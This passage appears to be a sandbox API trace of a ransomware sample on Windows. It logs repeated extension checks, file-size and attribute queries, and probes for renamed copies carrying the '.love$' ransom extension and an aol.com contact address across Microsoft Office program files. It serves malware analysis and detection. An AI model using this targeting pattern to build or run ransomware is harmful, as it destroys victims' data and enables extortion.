66 [0250.864] lstrlenW (lpString=".dbf") returned 4 [0250.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.864] lstrlenW (lpString=".1cd") returned 4 [0250.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.864] lstrlenW (lpString=".jpg") returned 4 [0250.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.865] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.865] lstrlenW (lpString="concrt140.dll") returned 13 [0250.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.866] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=243520) returned 1 [0250.866] CloseHandle (hObject=0x528) returned 1 [0250.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0250.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.867] lstrlenW (lpString=".doc") returned 4 [0250.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.867] lstrlenW (lpString=".docx") returned 5 [0250.867] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.867] lstrlenW (lpString=".pdf") returned 4 [0250.867] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.867] lstrlenW (lpString=".xls") returned 4 [0250.867] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.867] lstrlenW (lpString=".xlsx") returned 5 [0250.867] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.867] lstrlenW (lpString=".ppt") returned 4 [0250.867] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.867] lstrlenW (lpString=".zip") returned 4 [0250.867] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.867] lstrlenW (lpString=".rar") returned 4 [0250.867] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.867] lstrlenW (lpString=".bz2") returned 4 [0250.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.868] lstrlenW (lpString=".7z") returned 3 [0250.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.868] lstrlenW (lpString=".dbf") returned 4 [0250.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.868] lstrlenW (lpString=".1cd") returned 4 [0250.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.868] lstrlenW (lpString=".jpg") returned 4 [0250.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.868] lstrlenW (lpString=".doc") returned 4 [0250.868] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString=".docx") returned 5 [0250.868] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.868] lstrlenW (lpString=".pdf") returned 4 [0250.868] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString=".xls") returned 4 [0250.868] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString=".xlsx") returned 5 [0250.868] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.868] lstrlenW (lpString=".ppt") returned 4 [0250.868] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.868] lstrlenW (lpString=".zip") returned 4 [0250.868] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString=".rar") returned 4 [0250.868] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.868] lstrlenW (lpString=".bz2") returned 4 [0250.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.868] lstrlenW (lpString=".7z") returned 3 [0250.869] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.869] lstrlenW (lpString=".dbf") returned 4 [0250.869] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.869] lstrlenW (lpString=".1cd") returned 4 [0250.869] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0250.869] lstrlenW (lpString=".jpg") returned 4 [0250.869] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.869] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0250.869] lstrlenW (lpString="Flattener.exe") returned 13 [0250.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.871] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=45664) returned 1 [0250.871] CloseHandle (hObject=0x528) returned 1 [0250.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220 [0250.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.871] lstrlenW (lpString=".doc") returned 4 [0250.871] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0250.871] lstrlenW (lpString=".docx") returned 5 [0250.871] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0250.871] lstrlenW (lpString=".pdf") returned 4 [0250.871] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0250.871] lstrlenW (lpString=".xls") returned 4 [0250.871] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0250.871] lstrlenW (lpString=".xlsx") returned 5 [0250.871] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0250.872] lstrlenW (lpString=".ppt") returned 4 [0250.872] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.872] lstrlenW (lpString=".zip") returned 4 [0250.872] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0250.872] lstrlenW (lpString=".rar") returned 4 [0250.872] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0250.872] lstrlenW (lpString=".bz2") returned 4 [0250.872] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0250.872] lstrlenW (lpString=".7z") returned 3 [0250.872] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.872] lstrlenW (lpString=".dbf") returned 4 [0250.872] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.872] lstrlenW (lpString=".1cd") returned 4 [0250.872] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.872] lstrlenW (lpString=".jpg") returned 4 [0250.872] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.872] lstrlenW (lpString=".doc") returned 4 [0250.872] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0250.872] lstrlenW (lpString=".docx") returned 5 [0250.872] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0250.872] lstrlenW (lpString=".pdf") returned 4 [0250.872] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0250.872] lstrlenW (lpString=".xls") returned 4 [0250.872] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0250.872] lstrlenW (lpString=".xlsx") returned 5 [0250.872] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0250.872] lstrlenW (lpString=".ppt") returned 4 [0250.873] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0250.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.873] lstrlenW (lpString=".zip") returned 4 [0250.873] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0250.873] lstrlenW (lpString=".rar") returned 4 [0250.873] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0250.873] lstrlenW (lpString=".bz2") returned 4 [0250.873] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0250.873] lstrlenW (lpString=".7z") returned 3 [0250.873] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0250.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.873] lstrlenW (lpString=".dbf") returned 4 [0250.873] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0250.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.873] lstrlenW (lpString=".1cd") returned 4 [0250.873] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0250.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0250.873] lstrlenW (lpString=".jpg") returned 4 [0250.873] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0250.873] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.873] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27 [0250.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.139] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=96472) returned 1 [0251.139] CloseHandle (hObject=0x548) returned 1 [0251.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0251.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.351] lstrlenW (lpString=".doc") returned 4 [0251.351] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.351] lstrlenW (lpString=".docx") returned 5 [0251.351] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0251.351] lstrlenW (lpString=".pdf") returned 4 [0251.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.351] lstrlenW (lpString=".xls") returned 4 [0251.351] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.351] lstrlenW (lpString=".xlsx") returned 5 [0251.351] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0251.351] lstrlenW (lpString=".ppt") returned 4 [0251.351] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.351] lstrlenW (lpString=".zip") returned 4 [0251.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.351] lstrlenW (lpString=".rar") returned 4 [0251.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.352] lstrlenW (lpString=".bz2") returned 4 [0251.352] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.352] lstrlenW (lpString=".7z") returned 3 [0251.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.352] lstrlenW (lpString=".dbf") returned 4 [0251.352] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.352] lstrlenW (lpString=".1cd") returned 4 [0251.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.352] lstrlenW (lpString=".jpg") returned 4 [0251.352] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.352] lstrlenW (lpString=".doc") returned 4 [0251.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.352] lstrlenW (lpString=".docx") returned 5 [0251.352] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0251.352] lstrlenW (lpString=".pdf") returned 4 [0251.352] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.352] lstrlenW (lpString=".xls") returned 4 [0251.352] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.352] lstrlenW (lpString=".xlsx") returned 5 [0251.352] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0251.352] lstrlenW (lpString=".ppt") returned 4 [0251.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.353] lstrlenW (lpString=".zip") returned 4 [0251.353] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.353] lstrlenW (lpString=".rar") returned 4 [0251.353] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.353] lstrlenW (lpString=".bz2") returned 4 [0251.353] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.353] lstrlenW (lpString=".7z") returned 3 [0251.353] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.353] lstrlenW (lpString=".dbf") returned 4 [0251.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.353] lstrlenW (lpString=".1cd") returned 4 [0251.353] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0251.353] lstrlenW (lpString=".jpg") returned 4 [0251.353] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.353] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.353] lstrlenW (lpString="vccorlib140.dll") returned 15 [0251.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.354] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=266928) returned 1 [0251.354] CloseHandle (hObject=0x45c) returned 1 [0251.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll")) returned 0x220 [0251.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.355] lstrlenW (lpString=".doc") returned 4 [0251.355] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.355] lstrlenW (lpString=".docx") returned 5 [0251.355] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0251.355] lstrlenW (lpString=".pdf") returned 4 [0251.355] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.355] lstrlenW (lpString=".xls") returned 4 [0251.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.356] lstrlenW (lpString=".xlsx") returned 5 [0251.356] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0251.356] lstrlenW (lpString=".ppt") returned 4 [0251.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.356] lstrlenW (lpString=".zip") returned 4 [0251.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.356] lstrlenW (lpString=".rar") returned 4 [0251.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.356] lstrlenW (lpString=".bz2") returned 4 [0251.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.356] lstrlenW (lpString=".7z") returned 3 [0251.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.356] lstrlenW (lpString=".dbf") returned 4 [0251.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.356] lstrlenW (lpString=".1cd") returned 4 [0251.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.356] lstrlenW (lpString=".jpg") returned 4 [0251.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.356] lstrlenW (lpString=".doc") returned 4 [0251.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.357] lstrlenW (lpString=".docx") returned 5 [0251.357] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0251.357] lstrlenW (lpString=".pdf") returned 4 [0251.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.357] lstrlenW (lpString=".xls") returned 4 [0251.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.357] lstrlenW (lpString=".xlsx") returned 5 [0251.357] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0251.357] lstrlenW (lpString=".ppt") returned 4 [0251.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.357] lstrlenW (lpString=".zip") returned 4 [0251.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.357] lstrlenW (lpString=".rar") returned 4 [0251.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.357] lstrlenW (lpString=".bz2") returned 4 [0251.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.357] lstrlenW (lpString=".7z") returned 3 [0251.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.357] lstrlenW (lpString=".dbf") returned 4 [0251.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.357] lstrlenW (lpString=".1cd") returned 4 [0251.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64 [0251.357] lstrlenW (lpString=".jpg") returned 4 [0251.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.358] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.358] lstrlenW (lpString="vcruntime140.dll") returned 16 [0251.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.360] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=85328) returned 1 [0251.360] CloseHandle (hObject=0x45c) returned 1 [0251.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll")) returned 0x220 [0251.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.851] lstrlenW (lpString=".doc") returned 4 [0251.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.851] lstrlenW (lpString=".docx") returned 5 [0251.851] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0251.863] lstrlenW (lpString=".pdf") returned 4 [0251.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.864] lstrlenW (lpString=".xls") returned 4 [0251.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.864] lstrlenW (lpString=".xlsx") returned 5 [0251.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0251.864] lstrlenW (lpString=".ppt") returned 4 [0251.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.864] lstrlenW (lpString=".zip") returned 4 [0251.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.864] lstrlenW (lpString=".rar") returned 4 [0251.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.864] lstrlenW (lpString=".bz2") returned 4 [0251.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.864] lstrlenW (lpString=".7z") returned 3 [0251.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.864] lstrlenW (lpString=".dbf") returned 4 [0251.864] lstrcmpiW 